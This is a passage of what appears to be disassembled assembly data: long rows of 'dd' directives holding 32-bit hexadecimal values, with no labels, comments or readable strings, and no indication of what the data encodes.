		dd 0EF112BB2h, 528195FBh, 0B3A8FCD0h, 0EF6910Eh, 29F608Ch
		dd 1994A4h, 3FB7E28Eh, 45CFCE39h, 1F426C00h, 7D95906Ah
		dd 9E9B322Eh, 2040D3B2h, 0D407EA45h, 0A1B5FEB7h, 0C967C3E1h
		dd 7E1F0CCh, 113F265Ah,	0CC682062h, 500CA980h, 0FED146B8h
		dd 0C6B107F0h, 57EB2FECh, 1031406Ah, 63005D50h,	0CB6B4A57h
		dd 3FE38C3Ah, 67801C2Ah, 1213B81Dh, 0D8F68BDCh,	93946F00h
		dd 45CE2686h, 3F01FCD9h, 0DC9C17C1h, 4D0C73Bh, 0F79DB056h
		dd 9700CFC3h, 33E89E3Ch, 178C19A9h, 0D33B3Dh, 0DB921826h
		dd 0E200A15Dh, 4808F803h, 4D50D41h, 2C939E58h, 8020D069h
		dd 10F09A2Bh, 0FB20912Eh, 3B408B1Eh, 66D67427h,	0F2D27EE8h
		dd 8CD40055h, 11611804h, 0CCE4EDC0h, 2AC96F0Bh,	0FFD08E4Bh
		dd 2023354Ch, 0C76205B7h, 738E330h, 0E0F74399h,	0CA785C2Bh
		dd 0B84F6000h, 596A3C2Ah, 0F5D8CF68h, 0B07A5BE7h, 0B012DE0Ah
		dd 0B0BD6728h, 70655C00h, 0D321F102h, 0B6F00795h, 30756D0Bh
		dd 3E2C6712h, 9E1FD500h, 135536CBh, 0CEF400ACh,	0A8A5299Ch
		dd 4C07938Fh, 0C97653Bh, 68635C30h, 0F8530044h,	0E29447B7h
		dd 7D093159h, 74DBFBh, 62E43D57h, 6361C1Eh, 0A9C009A3h
		dd 2541FC00h, 4C284AE0h, 6F00ED8Bh, 0D52E9EADh,	76CEB538h
		dd 9B9A0754h
		dd 0C182F66Ch, 71451EA3h, 9723EC07h, 0AA32D201h, 0A662BC07h
		dd 81F0C0h, 85B2E633h, 0D973A9B5h, 0DE071200h, 2A635FEBh
		dd 37C0FBEh, 0B5A2FBA7h, 0C260595Ch, 13268BD0h,	0C46074B8h
		dd 2623D4C2h, 71081C5h,	0E05D5E45h, 88C70667h, 0CDC26E00h
		dd 0ECF9030Ch, 0B9B0069h, 62DA19D1h, 0AC00A6DCh, 6AE49EB5h
		dd 7F9AF72h, 3BD5BF70h,	0BA3E6006h, 81307C9Dh, 2D74A052h
		dd 9A850069h, 70AD1960h, 75003EE0h, 47DC40AEh, 90B418EBh
		dd 10F400A8h, 92CA8CBCh, 4F00C66Fh, 200544CDh, 71653Ah
		dd 27477BD5h, 64993A6h,	0E5546A00h, 0DCFB9775h,	5A7936h
		dd 8EB4F162h, 0ED0D9269h, 0D13AC200h, 3B2A4A1Eh, 0F2D50336h
		dd 9C4CFAF1h, 0BC879ED2h, 0A04727C2h, 27B2EA0Dh, 0A5A8DCE5h
		dd 0FC8FF100h, 17AC4CA1h, 44660063h, 0EAE5DCD8h, 7E010C19h
		dd 1EED9479h, 57C0C6D0h, 748B00DFh, 0CF1CF4D5h,	0B800AA6Eh
		dd 3A34A266h, 7FA893Ch,	132CCBBBh, 0C74504CDh, 9E41FF50h
		dd 0F025AC22h, 6500C181h, 67EFDF6h, 0AF3B90h, 8494552Fh
		dd 69B85EC9h, 9E367000h, 0D11F3580h, 61D900F3h,	0A86F5C57h
		dd 0DF20B80Eh, 1A550012h, 549E8DBDh, 4900F131h,	84F244EFh
		dd 172359h, 70B00296h, 715D280Eh, 0E09F6300h, 6ED8A20h
		dd 2A8903Eh, 0FBB57AB9h, 0FC807E2Fh, 41DA02F4h,	67009DE6h
		dd 0C547C625h, 4E7DCB0h, 9034F5EBh, 40C5C5C3h, 87052C34h
		dd 0C7092303h, 20D947C0h, 0B719D888h, 0AB170082h, 46BB9325h
		dd 620757CCh, 146F83D5h, 5E595BC0h, 9579003Bh, 0CADB6940h
		dd 403562Ch, 78537DF9h,	7B5C9818h, 2E953C1Ch, 96268F40h
		dd 0E000A86Bh, 0D4E107C4h, 0AAAF0058h, 8E0B4565h, 9D48ABB0h
		dd 76D01B8h, 768A0CE8h,	13ACADCCh, 0B7F326h, 7E4CCAF1h
		dd 44007FFDh, 0CFD5880Dh, 1DDAABh, 8912B435h, 0E8C76FECh
		dd 52437702h, 0C00BE740h, 0E2BE545h, 0C121AA8Ah, 0BDA0ABEFh
		dd 7C89BC48h, 0B3B703Eh, 8E15DC4Ch, 2A99A0C8h, 2C5EC113h
		dd 0F182C36h, 0B9C03FAEh, 0C60D3EDBh, 568CF01Ch, 0C402AFD6h
		dd 61E98A59h, 4DC00938h, 77DB1E17h, 1A08F898h, 8E3C5128h
		dd 601F1826h, 0B106BFA8h, 8C0A266Fh, 0F33000E4h, 43A93710h
		dd 3CF64902h, 80A66A5Bh, 0B30AB1F8h, 9988C0BFh,	5C8CD133h
		dd 51720C1Fh, 8CCAC00h,	5FB423h, 0A94540A7h, 53E4BB60h
		dd 4C4D042Eh, 0FA0C9400h, 0BA01C5h, 2745F449h, 32626529h
		dd 80988F3Ah, 0CE11FFB7h, 901B6FC1h, 0F9460000h, 9D920271h
		dd 8A260D95h, 91007EA0h, 30B6DE65h, 3D3B0058h, 8F77D3E2h
		dd 0BD000A2Fh, 0EE4E9D9Ch, 3391BD6h, 0AC125E5Bh, 0E0D0EDD1h
		dd 0DF03A1E1h, 5F6E3B33h, 7CFD80D6h, 5A9A0013h,	99931CECh
		dd 6A0098BAh, 0FAF65F0Bh, 442054h, 0D219502Ah, 64164936h
		dd 41E83100h, 0B1A09B5Ch, 56700E2h, 8DB792F1h, 4FF663FFh
		dd 0F7EEB8A0h, 39008A90h, 0DEC51F91h, 469627Bh,	0C09AF2EDh
		dd 1864A03Ah, 0EC1D2500h, 91E3CB46h, 0D9E9250Ch, 49EB5820h
		dd 4201C5CAh, 8184831Ah, 71D80932h, 1E09AB6h, 0A375D2D5h
		dd 70671EBAh, 2700AF9Ch, 821FEACDh, 3C0CF9C1h, 0F01B11h
		dd 0DB03FA1Dh, 96ECB0DCh, 4BA6CB14h, 26A03BE4h,	3C016A07h
		dd 0B88D5517h, 0C062DA42h, 0E64FF3F4h, 0BAFB50D3h, 696D001Ch
		dd 0EBFEB8D2h, 8601D04Bh, 10E7A028h, 0F8209C29h, 9A430087h
		dd 0ABCF30Ch, 6000A1F1h, 59E28F6h, 4CCAA64Ah, 840020F0h
		dd 37407C8Eh, 523D610Fh, 3CBB030Dh, 0A03B4A1Ah,	0D025EDh
		dd 6ECA8822h, 6AAD9F51h, 7256EE00h, 2A6A198h, 3C2B0040h
		dd 0D227C987h, 5031E06Fh, 3E1CB860h, 37FA472h, 3B71F20Ch
		dd 12A932C7h, 0F35020F5h, 0C5365506h, 10ED53h, 20B05160h
		dd 3BC0A2BBh, 87E6A925h, 17B01C98h, 981EF2B2h, 809C804Ah
		dd 0C250070h, 946B5C5Dh, 5498A0F6h, 1B79D1E8h, 0FD77130Fh
		dd 0FB8C60BCh, 1952CE1h, 3BBB1EBDh, 9063320Dh, 0A71CA9A8h
		dd 4AB24D92h, 267DC488h, 81CCE200h, 22996994h, 2164007Bh
		dd 6FB34E28h, 9750865Eh, 4F00B881h, 90419948h, 3C5C06h
		dd 36268B40h, 8CA34357h, 6E7D9E01h, 18690ED2h, 732A49E4h
		dd 0DADE0030h, 2D1EABECh, 9CF45480h, 5EFB700h, 8535E623h
		dd 0A4270079h, 252BEA6Fh, 7A006EC0h, 8804551Dh,	0E679CBD3h
		dd 3EC7251h, 0AA361FF8h, 38D83F54h, 4D072595h, 0A2029C19h
		dd 0CF926170h, 0F9173A12h, 4A74AD80h, 0B651507Ah, 6D24FD00h
		dd 0B507537Ch, 383A0E6Fh, 1BDA998h, 133B9118h, 0E694D014h
		dd 0C501B3E2h, 86CEC096h, 0CDFC2853h, 327C00C3h, 0F3C7DCF0h
		dd 0E000EB8Bh, 0F99D4CB0h, 3AB4DAADh, 0B200942Ch, 0E48023F6h
		dd 0E203F2C6h, 9716A75h, 3F7CD878h, 690F00FBh, 0B58808D0h
		dd 15000547h, 93387E8Bh, 68459Ah, 76D00291h, 0CAE05158h
		dd 0BA796200h, 2EB30622h, 0D596000Ah, 94C1CFEDh, 0B6006A8Dh
		dd 0B9271245h, 1C67AD99h, 0C0E044DBh, 751F326Bh, 8700143Bh
		dd 71C6F562h, 0A55A1Eh,	0B953BD48h, 819E04A3h, 0F78E1600h
		dd 0E0BCC998h, 6D8D00D8h, 528F0ECEh, 200348B1h,	0ED68B9D3h
		dd 355BB06Eh, 0D77F03D5h, 0D8A4BCD6h, 3D322AF0h, 14FBEF00h
		dd 5F2FC70Fh, 0D3701FACh, 6AB4C047h, 4FE7850Eh,	61DDC800h
		dd 0F514939Bh, 47CC2C30h, 27AA0084h, 0D567BACAh, 0FD971700h
		dd 0DF5363BEh, 98360184h, 1DE416C0h, 17AD403Ah,	0B90065F6h
		dd 9766E8D7h, 142B2DC4h, 0B3059FC3h, 0FBC01A1Eh, 9D033800h
		dd 7E434ED4h, 1863B00h,	0B28880D8h, 0B7CC0048h,	4B6069ADh
		dd 0A3CD742h, 5A9F0008h, 871201E7h, 0DF3A002Dh,	41D28A03h
		dd 0C800DD9Dh, 1C1B5D13h, 543004h, 0C1A857DEh, 38781A05h
		dd 1F00E1F4h, 0AA67ED86h, 63CEFAh, 32698FA6h, 5DC30517h
		dd 0D0BBC538h, 2B3927C0h, 0CDD6049Eh, 45C418CEh, 26DBCC20h
		dd 8E9032h, 0E03AACEBh,	7978CF1h, 0E14B2400h, 909A2E2Ah
		dd 87765Ah, 32119B03h, 0BCE5336Eh, 0A499C200h, 205CE6B2h
		dd 0FF840718h, 70AAF50Ah, 85FB1910h, 9936C500h,	38A5CEC3h
		dd 22D20AA8h, 2AB033F8h, 74E000B0h, 0E1F6884Bh,	0B17BA5FBh
		dd 99AE3550h, 6D96C200h, 2D393BB2h, 2F6500A2h, 1CCAFB8Ah
		dd 7C7F4155h, 46850C04h, 2B83AD1Bh, 935EA8FDh, 0D4F450F6h
		dd 183D0E87h, 14E365Bh,	0FE0DF260h, 9F38C02Fh, 0B38C8h
		dd 8E805854h, 4CDF9419h, 1E00AFBAh, 645F6C4h, 0BE0A2457h
		dd 9C4C5879h, 0B03DD700h, 3D21A159h, 7ED2DFh, 4B90437Ah
		dd 3C22B76Fh, 337B3D0Eh, 0C2C15D09h, 9B491E13h,	0D5020h
		dd 7B3B266Dh, 5D2F4C55h, 0A0972200h, 12025C36h,	6135001Ch
		dd 0FE43BC4h, 0BEFCE186h, 3627AB05h, 0DA00C196h, 4B2A9C0Dh
		dd 1F18780Bh, 0C0AC741Bh, 4D24A607h, 0D3008AF9h, 5F540E8Fh
		dd 152ABD9h, 0F057A35Ch, 0CC69F34Fh, 0A9009D45h, 29122A19h
		dd 2A844h, 0C6E89228h, 0F3B80443h, 1CE41703h, 0D8821EAEh
		dd 0B0B6A8h, 84D6AB4Ah,	360831EFh, 96A68607h, 83F08D5Ch
		dd 48BE13E7h, 0ED0144E0h, 0C8C0ACA5h, 541080DCh, 0CEF96324h
		dd 0A3590CBDh, 87F0B87Dh, 0C400907Ah, 7372AF80h, 3634439h
		dd 958E3EEAh, 0A00009E7h, 6C2EB464h, 3B79B7h, 6F30ECEDh
		dd 583F47FCh, 51B8A400h, 1B6D29E1h, 0D68D02B0h,	5D49A19Fh
		dd 0BDC68C60h, 73D0C848h, 96B36D00h, 46542F9Ch,	18A960F0h
		dd 90CBCCA2h, 0E639900h
		dd 86203E11h, 0B6E426FCh, 61C307B8h, 2133D087h,	300CD157h
		dd 0B4C0BA68h, 69DD009Ch, 0F64763D6h, 2600771Bh, 0E9202981h
		dd 9AEFADh, 0DF7D041Eh,	0E3B54875h, 5D2E9C1Eh, 980F582h
		dd 8848305h, 0C7C8D059h, 0DA0300CFh, 9C236CEDh,	0B5E25A13h
		dd 0B1D03A00h, 90270E7Fh, 0FC800D8h, 8B127078h,	690B209Ah
		dd 0BF8EDCh, 0EDC35834h, 0FC47E9D7h, 0F0D03460h, 0F87769h
		dd 87E97CCEh, 0F303D654h, 0E16ED301h, 0DC27F259h, 0F1408D8h
		dd 74822838h, 42AC4E60h, 0F039E15Ch, 8C6D8047h,	4C813101h
		dd 589D04A4h, 0C21B2635h, 6140CF59h, 0D5008A30h, 677F7D46h
		dd 7B391177h, 5B0400B8h, 69EA5360h, 5800CEB1h, 0B29AAADBh
		dd 2777DAh, 0ED7CD87h, 0F1823198h, 0DE1F9200h, 0C5C90133h
		dd 8AD50066h, 0D3543427h, 73009EBEh, 0B7D78785h, 1163DC4h
		dd 0AA219AAh, 0C48B64BFh, 0BA0C8506h, 384DFD39h, 464B0083h
		dd 0A4A815FFh, 0C3F4324h, 9DEA80FCh, 5993584h, 7C21000Fh
		dd 0B8858D92h, 9B00AC69h, 3BDC2496h, 170355h, 5A4B28E6h
		dd 4DA01FE3h, 81887F04h, 90D01395h, 1569A3h, 853AC60Bh
		dd 6828DC6Dh, 0F1984300h, 0CDAD2180h, 44070062h, 67DBD013h
		dd 3F000AD4h, 0D28DE109h, 0BF14021h, 5738C932h,	88D97E80h
		dd 0D82626F8h, 160EF64Dh, 0F7DC8066h, 5B48D3h, 56A6AD71h
		dd 0B3023387h, 6FA8F51Dh, 0A707E85Eh, 4582FE3Ah, 0AEB08011h
		dd 6727EFA5h, 80B611B0h, 841A1799h, 5C3BD1Dh, 911D29C0h
		dd 302FA155h, 8AD8DFFDh, 6FE53A2h, 0E8F3A630h, 3038F512h
		dd 11F9591Fh, 2074EC2Ch, 0E34E08A0h, 0BF48A90Ch, 6AC68D0h
		dd 549167D2h, 87154028h, 54C7DBh, 0E5A6991Bh, 0C0069C16h
		dd 746A2A20h, 93013DE8h, 1A0F0D24h, 0A88EBA8Ah,	6267B203h
		dd 84F20A0h, 71009680h,	19FA9C4Dh, 28B6C9D7h, 3B50E7Bh
		dd 0BB33C24h, 81A2F023h, 0B85CC860h, 0D507A8E4h, 30094815h
		dd 0DBDAC8C0h, 0A2A0008Eh, 0D895C2F0h, 18009D05h, 99712AF1h
		dd 0D5F4F5h, 9621136Ah,	9DBF460Dh, 0D8A21C00h, 1EC001BEh
		dd 7EE61Dh, 3BC7D63Eh, 0EDD067B7h, 7D074AECh, 857AE779h
		dd 223F0260h, 0F4D10013h, 0C67C471Bh, 0DE00AD19h, 68F82FE8h
		dd 0A8A375h, 43F7C818h,	0F30C22D3h, 1A79DB1Dh, 0A06B3B03h
		dd 0A5539A11h, 47E87C8h, 0E01DAD15h, 0E4158A00h, 4056991h
		dd 0F835CF00h, 858F501Ch, 67793E9Ah, 8A7E7A07h,	804F34BCh
		dd 5B0EBF98h, 0C795C0F9h, 44D357Fh, 892103F0h, 8964A6Dh
		dd 2C467C50h, 72FF0183h, 7290583h, 0FB12D4Dh, 36808BF0h
		dd 99F265ACh, 0F3F7CC3Fh, 8EBE933Eh, 79D50385h,	6052DFB9h
		dd 0CED8203Bh, 59CEC47Eh, 0C27CC330h, 0F2B9C81Ah, 7093531Ch
		dd 1307ED00h, 49A4D550h, 0FD6AA01h, 0AC6A9B7h, 58E891h
		dd 0DB63948Fh, 47C0262h, 73FF063Fh, 0C2CB464Ch,	14C8C60h
		dd 0BE741DDBh, 601105AFh, 0A9DEFB39h, 147EC58Ah, 8DC32101h
		dd 0A98EB972h, 504085CDh, 7A7D05AEh, 801C976Fh,	7E410230h
		dd 4A39CF29h, 0D2CEC560h, 0F319A54Eh, 26084605h, 0F8452180h
		dd 5F6FD4C5h, 0DACB8D07h, 57A1BEE7h, 245489h, 0F10E68Bh
		dd 0AF262A6h, 47042709h, 83109004h, 0A1005F52h,	5C21DF53h
		dd 0D5626Ah, 764F2B4h, 0B6ECA3B1h, 758DD20Ch, 137CB0F7h
		dd 206A3987h, 68EA328Ch, 839BBD38h, 3391077Bh, 705A37Ch
		dd 68A29521h, 7EDE808Ah, 1090A55Ch, 9285BB07h, 47C26683h
		dd 0A1B48F22h, 94B4F207h, 0C6F36710h, 1BD94601h, 1C1602A6h
		dd 77F088Ch, 1772C730h,	0F6AFC803h, 88DE103Dh, 0C413ACE9h
		dd 18744A61h, 1A841289h, 200B4119h, 85B41483h, 0F8782064h
		dd 48C72160h, 43EBD93Fh, 4A98B422h, 0CD8FC700h,	7CF9FF95h
		dd 0D82701E4h, 66076E72h, 702DCCF2h, 98AF6529h,	0AD1809D9h
		dd 5E5C0F00h, 7F05A4FFh, 0B8106350h, 2900FC69h,	0B54B92EDh
		dd 48F356h, 7E20CE51h, 2E37EA34h, 0E20F0204h, 0B480B26Ah
		dd 0FBC2E3h, 0BCE8F403h, 200B5773h, 6F362300h, 0BD09CFC0h
		dd 4C7500D1h, 77022A72h, 9FB89612h, 87E7920Fh, 28212005h
		dd 0C1EF65h, 8249745h, 765AF9A2h, 12A75Ch, 14C919Ch, 17053D0Ch
		dd 3D6CC10h, 0CF6109BCh, 0F42D9EA1h, 330015D3h,	0C2A1F9EAh
		dd 0C5F569h, 792B270Ch,	0DBB0F6E0h, 0A496383Ch,	301C7BBDh
		dd 776EAE40h, 767D79DCh, 208900E1h, 0E60DD104h,	8100DBD2h
		dd 190D6F7h, 3B8614h, 591E6103h, 4D108748h, 0A2D7470Eh
		dd 451A60F5h, 74AFDh, 877BB81h,	2F108098h, 0B2001EECh
		dd 19169DBh, 18048122h,	58D74CFFh, 5300D5A4h, 1476075Ch
		dd 0D214A7Dh, 0D0D8CDFCh, 605BED21h, 6100DAD9h,	0B8D4FD67h
		dd 183AA6FAh, 494082DBh, 0EA3DF514h, 1B34CE3h, 8735D68Ah
		dd 0E6E0BFFAh, 58E20073h, 3F3C51F2h, 8D00264Dh,	0C91A9AEAh
		dd 746F81D7h, 61BAF89Fh, 43011912h, 5EABE0E1h, 7B30427Ch
		dd 69FF31EBh, 0D2270554h, 0A7F21Fh, 0A3922290h,	0ED37ADC2h
		dd 0CAF4C866h, 0E2CB7600h, 0A4A9EB82h, 809BDCD7h, 3FDA2000h
		dd 71616846h, 6CD100FAh, 0D53B6B14h, 0A463031Ah, 0F58930h
		dd 18474339h, 0E8E4FA84h, 97306C00h, 60C33959h,	0D753007Eh
		dd 48016F7h, 2F094756h,	0FC828A70h, 4D0D3EA5h, 0F090D7BDh
		dd 6D0390C2h, 4E83C5A4h, 5093A03Ch, 9E4928F7h, 0E4D600B8h
		dd 5C04E1DBh, 0F90F5220h, 27C8DF76h, 0F840F234h, 1F54438Eh
		dd 40E211E3h, 0C1F67B6Ah, 0E700D05Ch, 0B050E1C6h, 328FF8C0h
		dd 0A329572Fh, 89DF1C10h, 449B08B4h, 42843756h,	8B821D8h
		dd 1B905C49h, 44C87784h, 5544AF1Ch, 800F4872h, 17C42EA2h
		dd 0BB03DF47h, 85103945h, 0C548D197h, 9C86F8h, 75EF1802h
		dd 0E57E03BBh, 6D6F000h, 0C7283C25h, 677D0064h,	0B7BCA384h
		dd 277C80A1h, 0F1C92300h, 0AD571F4Ch, 748AB88Dh, 71DC00A6h
		dd 44EEECE5h, 481ED115h, 9C1EC710h, 0A1732200h,	725AB1A2h
		dd 84F03FB4h, 2CBC9E0Eh, 65157640h, 0CE002454h,	66DB1890h
		dd 0F9E402BBh, 53257080h, 855540A6h, 81017F00h,	387367D3h
		dd 62A20112h, 1B05FF8Fh, 0DB26D034h, 0A5DF2902h, 81770FEDh
		dd 67614E4h, 0FCC70C4h,	8A02720Eh, 0DC394CE0h, 8500051Bh
		dd 0A4FF016h, 0FEB01D86h, 4C7C00FAh, 0EC0CB749h, 0C7014E38h
		dd 91629F83h, 108007F3h, 1CAD24FDh, 0D3006DBDh,	4AD0E8A4h
		dd 0C214419Eh, 74BB5A80h, 1B982400h, 0DD68152Ah, 0DB008CD2h
		dd 0B189C101h, 97252E90h, 3DA5CAAh, 71532608h, 41FD6AA8h
		dd 0E9A60507h, 0EA005824h, 0FF3144h, 5FE0E4CDh,	6CCA7508h
		dd 0C748001h, 9E54104Dh, 5E1ED080h, 91A49FDDh, 552D9C00h
		dd 26196DD0h, 0A14E005Bh, 4E6CEE7h, 163CD8EDh, 1058FF0Fh
		dd 18FC00ABh, 47FEBCB1h, 7F213A31h, 1F09CB9h, 57B4864Bh
		dd 0D8AF853Eh, 58EE96EAh, 47143D00h, 0C7635D7Dh, 0C3F424DAh
		dd 12AF24A0h, 8A340085h, 0D148DD78h, 4F57452Ch,	0C7EE4400h
		dd 17D7C25Fh, 7A34AEh, 9645A066h, 0FD24E247h, 7E8144E7h
		dd 0F87F62E1h, 90D0C0D0h, 0CE890008h, 5D726D0Dh, 0B4092FA6h
		dd 803C1C8Bh, 0BB1F17DDh, 88FC00D8h, 0D413F5AEh, 0CB00A0F2h
		dd 9419B4DDh, 0B57522h,	0FC631EEFh, 0E7BEEC9h, 0F3315200h
		dd 3A306F78h, 79FA0055h, 859369E9h, 0A50094E4h,	0FB997358h
		dd 0EC4396Fh, 0B83C6B76h, 18A6E320h, 21000F27h,	7E6C6577h
		dd 7D8F5Bh
		dd 0E456F650h, 4A68C881h, 0A4153D00h, 74DD4ECDh, 0F77F00EAh
		dd 0AD6C3B5Eh, 20FF95C2h, 1844361Ch, 750D1FD9h,	348D80F3h
		dd 4630734Ah, 0BE58A3F0h, 0C6940A57h, 9D00F819h, 0DA02E7DEh
		dd 0BE424h, 874181CEh, 0DBEB74B7h, 8055C83Fh, 27FACDACh
		dd 322F1Ch, 638F9E0Bh, 30659D34h, 568D5B03h, 8B8B67ECh
		dd 0E0DE888Ah, 2E8400F2h, 346FC7D8h, 0BC00BBF6h, 9711EC55h
		dd 12C74FDh, 9C469FCFh,	0D8B3C109h, 0A7039422h,	56FDFC0Eh
		dd 7B51A811h, 0B51A00B8h, 0AEED171Bh, 2201BA27h, 0AC66583Fh
		dd 84C46A2Bh, 757CE9h, 0F6A5CD25h, 4B286B71h, 3CF23800h
		dd 0A2DF26B2h, 997A00D0h, 51D259E2h, 6F60C816h,	617CDBF4h
		dd 0D8074CB1h, 110A2903h, 0ABB01BB3h, 8F0051F5h, 0CFE3356Eh
		dd 0FEB7237h, 0C7B4E993h, 1124D2C1h, 6B77E4C6h,	0A1B90C00h
		dd 0E0484C98h, 0B71200D1h, 862C2618h, 8700EC20h, 820DA741h
		dd 0AF5A6h, 0B6C6D5AFh,	0EB2D7B1Eh, 0DB2E9700h,	35F3333Bh
		dd 1085002Bh, 62F27838h, 0CE0077D2h, 0D31FBFABh, 0F9894C6h
		dd 0F832974Eh, 0F4A271C0h, 8B0085E9h, 0E3A0227Fh, 2E18175h
		dd 0F8DF5CACh, 4440A3B0h, 7700C368h, 860E1FBDh,	0FDED9Eh
		dd 82753DA0h, 0F660BB06h, 0D4DB4809h, 5083806Ch, 0CF831Bh
		dd 0C9566D92h, 80492309h, 0DE0095FAh, 4C74A645h, 0AF1BCAh
		dd 6B65FFFEh, 601DF5B3h, 76FA8B1Dh, 6E28F701h, 33214192h
		dd 1D200BC1h, 0D3B8018Ah, 7E2C52AEh, 0D68720B0h, 0CE30FCF6h
		dd 6C0819E9h, 31850068h, 98F6943Fh, 3626DBB6h, 9301C45Eh
		dd 0FE10EA7Ah, 0E216E8h, 522B9622h, 0A69A67F4h,	0E8D8D900h
		dd 0D1542340h, 0F3643D91h, 0F1FC292h, 0C7A062C4h, 0B17E2FA7h
		dd 56E3DE00h, 75EB1620h, 6785006Dh, 0C105500Ch,	6060CB9Fh
		dd 0B8041DC0h, 0C98A00BBh, 61450E3Dh, 0A005FA5h, 329D9875h
		dd 0C58188h, 9CDE1FB4h,	0B8D64DABh, 0C3FC500Eh,	882CA0D8h
		dd 8F0CF2h, 57B2B9FAh, 974B9BCBh, 8F39E07h, 99D0F1CCh
		dd 61F83Ch, 0A719452Ch,	0B1AAF6B3h, 5F8CC300h, 0B73F1DCEh
		dd 0FA101888h, 81DA680Fh, 6F069903h, 0D1F15BFDh, 6820EAD4h
		dd 0F52E07CAh, 4059AE85h, 928B9861h, 6808D526h,	1387630Fh
		dd 0F70B0405h, 0ABA3FCC0h, 322A00B5h, 599B31B2h, 0B824D75Fh
		dd 900BDD5h, 587D7635h,	4A72A7h, 0C0BC4956h, 8C69564h
		dd 99018500h, 8DA02FC8h, 6FD11EF9h, 0EB51862Eh,	161220B0h
		dd 0F600AC87h, 6BE6CC8Ah, 0E9A83FE4h, 8B645600h, 4549944Dh
		dd 823B503Ch, 0C1F1B753h, 1D0CC0C0h, 0B2811C6Ah, 0D4DFF3h
		dd 2BB8FC94h, 40030273h, 31431672h, 262888ABh, 0B9F550B7h
		dd 0E9D300A1h, 2992DCA9h, 0BD012298h, 0FD6B3247h, 0C60EAD5h
		dd 493A0095h, 85A796Dh,	3900AF9Eh, 0BB71CDCEh, 0A084610Ah
		dd 3D156BFAh, 0B58F50FAh, 0F9601408h, 519F4C52h, 0DD97EC1Fh
		dd 21B235CEh, 0C8985D25h, 1F7B2860h, 80919463h,	9038E8CBh
		dd 0A5065B97h, 2476B5A0h, 99CE0080h, 2EEF398h, 8E3ACF07h
		dd 6B3680B6h, 0C651BE7Ch, 132C763Bh, 1FA30A79h,	659FC3C9h
		dd 41B73F23h, 0CBD4CFDEh, 7910F9D0h, 8003143Eh,	0BA72E909h
		dd 16B532h, 7D961222h, 86E6A371h, 0D7598500h, 0DECC284Ah
		dd 14C72AEh, 9A2CF987h,	0C08EBBF7h, 780EE32Eh, 60167E2Bh
		dd 354DE8FFh, 0C66E3CCCh, 0A2FD9F80h, 6370299Bh, 0B73B22EAh
		dd 5D8787A8h, 7C209921h, 0DE8DB2h, 0A3474919h, 39709B6h
		dd 1400F871h, 0FBBB1ADh, 48E1E490h, 690058E3h, 6AF3B4CAh
		dd 33006B35h, 7338CF91h, 401020h, 0A9CE1BB0h, 923C86F7h
		dd 0B6E6402h, 609BB780h, 0DBEEBCh, 6023398Ch, 6BD96ACBh
		dd 0C022EC26h, 0E666C702h, 8DE8E877h, 0ACBD0F72h, 0D24047E7h
		dd 75202E8Ch, 0CF62862Eh, 6042C00Eh, 0EC32D994h, 9B0700A8h
		dd 0C7B1F87Ch, 1F008FD3h, 1234FDCEh, 0C42014h, 2CB6FBEDh
		dd 0A1313F52h, 4C2B3900h, 3CB223B9h, 0A9370167h, 7C1AE022h
		dd 17198E7Ah, 100F8027h, 7FEB0Eh, 0E45E8566h, 0EA328D59h
		dd 0E7A22200h, 7CAFC2A9h, 0C84260EBh, 3348E104h, 9A173D00h
		dd 0D821355Eh, 6C87000Ch, 3097A37Ch, 0E7BDD81h,	0AB946200h
		dd 0E6BAA22Dh, 0FA660096h, 0D56559FCh, 0CE483D8Fh, 27E907ACh
		dd 26926F7Ch, 0FADEA2B3h, 3D81600Ah, 0E7CE0046h, 7CA7707Ah
		dd 0C61C0613h, 4E47E81Ch, 89C9945Ah, 0CC668142h, 0C9E804DAh
		dd 6CD148A8h, 0CD567107h, 0AE6C80FFh, 0C700F6A6h, 5A20580Bh
		dd 48550FDDh, 5005185h,	760DFA01h, 0A6001469h, 0DEA02D44h
		dd 0E4D8E9h, 0AC2AB9B7h, 0EA6F59C4h, 0E2EB40Ch,	4E14E8EDh
		dd 0B964F191h, 0D4A08070h, 17764B0Bh, 3F643783h, 9196A418h
		dd 0F169BFB0h, 65B8FF32h, 56001B22h, 0E157C66Ah, 87FA4Fh
		dd 2E4A46A0h, 0B3ADC31Ah, 9ED7D100h, 8E81C06Fh,	0D170072h
		dd 0A7D60164h, 6B00C520h, 73B887BCh, 7629B567h,	6FED00E3h
		dd 86DCA5CFh, 6900457Ah, 8C92C7C3h, 7A584140h, 83A01EFh
		dd 65B3E76Dh, 6152EC8Eh, 0DF4993E8h, 2C9D0684h,	0E2C0B1F6h
		dd 7D900041h, 111E86F9h, 0F2012AA1h, 9FD692A9h,	8BE40F0Ah
		dd 0CF0407C5h, 40BDA617h, 4492AF90h, 83F26201h,	8DEDD1C6h
		dd 25EAE4h, 3B2AC999h, 9C74F55h, 0EE000174h, 92FF0697h
		dd 56FC2Fh, 0D6AB5AB8h,	6D5BAF3Ch, 9C85ED05h, 288018E7h
		dd 895857h, 5F6BE8F6h, 2A798F32h, 756A3900h, 0CA7A1EDAh
		dd 3C820696h, 38A095F5h, 70D7B000h, 42810192h, 15EE0C11h
		dd 0EB10912Bh, 414A5403h, 88A404BEh, 7A9BC74Ch,	0E2760097h
		dd 237DCDC3h, 963D94A3h, 0D3F01CBh, 0F6B55958h,	0DD6E9840h
		dd 0FF0101B8h, 0CE3BA962h, 0BC526090h, 0C496937Ch, 1C9F0B00h
		dd 970FE101h, 2302AC0h,	0C8BC081Ch, 0EABE50F1h,	6012DE10h
		dd 20B0700h, 7C992892h,	0F4214C45h, 0B4D00401h,	407A4E86h
		dd 35D831A0h, 20B359h, 3FA70E46h, 162592A6h, 325D88h, 5C07EE04h
		dd 463D6F95h, 0C32C013Bh, 1BD91979h, 4B09209Eh,	280056C1h
		dd 4B6FC802h, 892B7E01h, 0C5D65728h, 588380CBh,	538B2666h
		dd 0FFB8B8h, 57A85F3Dh,	698D3363h, 3FAAA00h, 8ACF8C2h
		dd 0A5D80F3Bh, 0FC40A00Bh, 34B7695Ch, 6C67D003h, 4CE93D8Dh
		dd 0FD07CDF0h, 0F12BE607h, 645BEA75h, 3D0F9BA0h, 6337A6C7h
		dd 90605239h, 3FAAB4h, 8027E07Fh, 0C0662565h, 6D742817h
		dd 629BC301h, 583021F0h, 0C1DD03B3h, 22D1820Ah,	0B89CE0A4h
		dd 58C5A207h, 0BB003460h, 0D6113h, 123009B4h, 0D77ED8BCh
		dd 35C8B00h, 8DF1CB2Ah,	7B0A442h, 0F0FC2B54h, 9284006h
		dd 6D3F053Bh, 91880199h, 962ACE22h, 27FA6882h, 4560F007h
